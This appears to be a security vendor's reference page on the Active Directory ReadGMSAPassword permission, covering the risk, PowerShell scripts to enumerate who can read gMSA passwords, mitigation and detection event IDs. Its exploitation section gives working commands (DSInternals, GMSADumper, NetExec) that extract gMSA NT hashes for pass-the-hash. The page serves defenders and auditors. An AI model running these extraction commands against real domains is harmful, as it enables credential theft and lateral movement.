Summary
| Forestall ACL Alias | CanReadGMSAPassword |
| Affected Object Types | Group Managed Service Accounts (GMSAs) |
| Exploitation Certainty | Certain |
| AD Attribute | msDS-GroupMSAMembership |
| AD Attribute Guid | 888eedd6-ce04-df40-b462-b8a50e41ba38 |
Description
Group Managed Service Accounts (GMSAs)
The ReadGMSAPassword permission in Active Directory allows an account to read the passwords associated with Group Managed Service Accounts (GMSAs). GMSAs are designed for automated and secure service account management, enabling services and applications to authenticate seamlessly without manual password handling. If the PrincipalsAllowedToRetrieveManagedPassword attribute is not configured, administrators or users cannot view these passwords. By granting the ReadGMSAPassword permission to services, organizations facilitate seamless authentication processes, reduce the administrative overhead of manual password management, and enhance overall security by ensuring that service account credentials are complex and regularly updated without human intervention.
However, if the ReadGMSAPassword permission is misconfigured, an attacker can extract the passwords of GMSA accounts, which are integrated with numerous critical services and applications. With access to these credentials, the attacker can impersonate service accounts to interact with critical services, access sensitive data repositories, and manipulate essential infrastructure components. This level of access can facilitate lateral movement across the network, enable unauthorized data exfiltration, and allow for the deployment of malicious configurations or software.
Identification
PowerShell
Active Directory Module
Using the ActiveDirectory PowerShell module, you can enumerate ReadGMSAPassword entries.
1. Find-ReadGMSAPassword function
function Find-ReadGMSAPassword { [CmdletBinding()] param ( [string]$Target, [string]$OutputPath = "ReadGMSAPassword.csv") Import-Module ActiveDirectory -ErrorAction Stop if ($Target) { Write-Host "Searching for gMSAs under '$Target'..." -ForegroundColor Yellow $serviceAccounts = Get-ADServiceAccount -Filter * -SearchBase $Target -Properties 'msDS-GroupMSAMembership' } else { Write-Host "Searching for all gMSAs in the domain..." -ForegroundColor Yellow $serviceAccounts = Get-ADServiceAccount -Filter * -Properties 'msDS-GroupMSAMembership' } $results = foreach ($sa in $serviceAccounts) { if ($sa.'msDS-GroupMSAMembership') { foreach ($entry in $sa.'msDS-GroupMSAMembership') { [PSCustomObject]@{ GMSA = $sa.Name DistinguishedName = $sa.DistinguishedName AllowedPrincipal = $entry.Access.IdentityReference AccessType = $entry.Access.AccessControlType } } } } if ($results) { Write-Host "Found $($results.Count) gMSA(s) with retrievable password permissions." -ForegroundColor Green try { $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop Write-Host "Results exported to '$OutputPath'" -ForegroundColor Green } catch { Write-Error "Failed to export results to '$OutputPath'. Error: $_" } } else { Write-Host "No gMSAs with msDS-GroupMSAMembership set were found." -ForegroundColor Green }}2. Scan all domain service accounts
Find-ReadGMSAPassword3. Scan a specific service account
Find-ReadGMSAPassword -Target "CN=gmsa,CN=Managed Service Accounts,DC=forestall,DC=labs".NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate ReadGMSAPassword entries without relying on any external modules or dependencies.
1. Find-ReadGMSAPasswordSimple function
function Find-ReadGMSAPasswordSimple { [CmdletBinding()] param( [string]$Target, [string]$OutputPath = "ReadGMSAPassword.csv") $results = New-Object System.Collections.Generic.List[object] try { if ($Target) { $searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") } else { $root = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE") $baseDN = $root.Properties["defaultNamingContext"][0] $searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$baseDN") } $searcher = New-Object System.DirectoryServices.DirectorySearcher($searchRoot) $searcher.Filter = "(|(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-ManagedServiceAccount))" $searcher.PageSize = 1000 foreach ($p in @("distinguishedName","name","msDS-GroupMSAMembership")) { [void]$searcher.PropertiesToLoad.Add($p) } $hits = $searcher.FindAll() foreach ($hit in $hits) { $props = $hit.Properties $dn = if ($props["distinguishedname"]) { $props["distinguishedname"][0] } else { "<unknown>" } $name = if ($props["name"]) { $props["name"][0] } else { $dn }
if ($props["msds-groupmsamembership"]) { foreach ($val in $props["msds-groupmsamembership"]) { try { $rsd = New-Object System.Security.AccessControl.RawSecurityDescriptor($val,0) } catch { Write-Warning "Failed to parse msDS-GroupMSAMembership on '$name': $_" continue } foreach ($ace in $rsd.DiscretionaryAcl) { $common = $ace -as [System.Security.AccessControl.CommonAce] if (-not $common) { continue }
$type = switch ($common.AceType) { ([System.Security.AccessControl.AceType]::AccessAllowed) { "Allow" } ([System.Security.AccessControl.AceType]::AccessDenied) { "Deny" } default { continue } } $sid = $common.SecurityIdentifier $who = try { $sid.Translate([System.Security.Principal.NTAccount]).Value } catch { $sid.Value } $results.Add([PSCustomObject]@{ GMSA = $name DistinguishedName = $dn AllowedPrincipal = $who AccessType = $type }) } } } } } catch { Write-Error "LDAP enumeration failed: $_" return } if ($results.Count -gt 0) { try { $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 Write-Host "Found $($results.Count) ACE(s) on gMSA msDS-GroupMSAMembership. Exported to '$OutputPath'." } catch { Write-Warning "Export failed: $_" } } else { Write-Host "No msDS-GroupMSAMembership ACLs found on gMSAs."}}2. Scan all domain service accounts
Find-ReadGMSAPasswordSimple3. Scan a specific service account
Find-ReadGMSAPasswordSimple -Target "CN=gmsa,CN=Managed Service Accounts,DC=forestall,DC=labs"Exploitation
This permission can be exploited on Windows systems with DSInternals, while on Linux systems, tools such as GMSADumper can be effectively used for exploitation.
Windows
An attacker can Read GMSA Password with this cmdlet on Windows. (DSInternals should be installed) DSInternals
$GMSA = Get-ADServiceAccount -Identity '<GMSA>' -Properties 'msDS-ManagedPassword'$mp = $GMSA.'msDS-ManagedPassword'(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHashExample:
$GMSA = Get-ADServiceAccount -Identity 'GMSA' -Properties 'msDS-ManagedPassword'$mp = $GMSA.'msDS-ManagedPassword'(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
Read GMSA Password Powershell
After this, you can obtain NT Hash. With NT Hash attacker can perform attacks like PassTheHash
Linux
An attacker can get GMSA password with this command on Linux. (You should download the GMSADumper tool before running the command) GMSADumper
python3 GMSADumper.py -u 'User' -p '<Password>' -d '<Domain FQDN>'Example:
python3 gMSADumper.py -u adam -p 'Temp123!' -d Forestall.labs
Read GMSA password using GMSADumper.py
Read GMSA NT hash using NetExec
nxc ldap <dcip> -u <user> -p '<pass>' --gmsaExample:
nxc ldap 192.168.121.134 -u Adam -p 'Temp123!' --gmsa
Read GMSA password using NetExec
Mitigation
In the script below, assign the vulnerable GMSA’s distinguished name to the GMSADistinguishedName variable and the dangerous user’s name to the DangerousUser variable.
(To run this script successfully, you should have Write permission on the msDS-GroupMSAMembership attribute of the GMSA object (Write msDS-GroupMSAMembership). This permission is typically granted to Domain Admins and Enterprise Admins. If you do not have this permission, you will need to contact your Active Directory administrator to perform this action.)
$GMSADistinguishedName = 'CN=GMSA,CN=Managed Service Accounts,DC=forestall,DC=labs'$DangerousUser = 'FORESTALL\Attacker'$GMSA = Get-ADServiceAccount -Identity 'GMSA' -Properties 'msDS-GroupMSAMembership'$cleanUsers = @()$exc = $GMSA.'msDS-GroupMSAMembership'.Access.IdentityReference | Where-Object { $_ -ne $DangerousUser } | ForEach-Object { $name = $_ -replace '^[^\\]+\\' $cleanUsers += $name }Set-ADServiceAccount -Identity $GMSA.Name -PrincipalsAllowedToRetrieveManagedPassword $cleanUsersDetection
Adding new access control entries to Active Directory objects changes the ntSecurityDescriptor attribute of the objects. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.
| Event ID | Description | Fields/Attributes | References |
|---|---|---|---|
| 5136 | A directory service object was modified. | ntSecurityDescriptor | https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136| |
| 4662 | An operation was performed on an object. | AccessList, AccessMask | https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662| |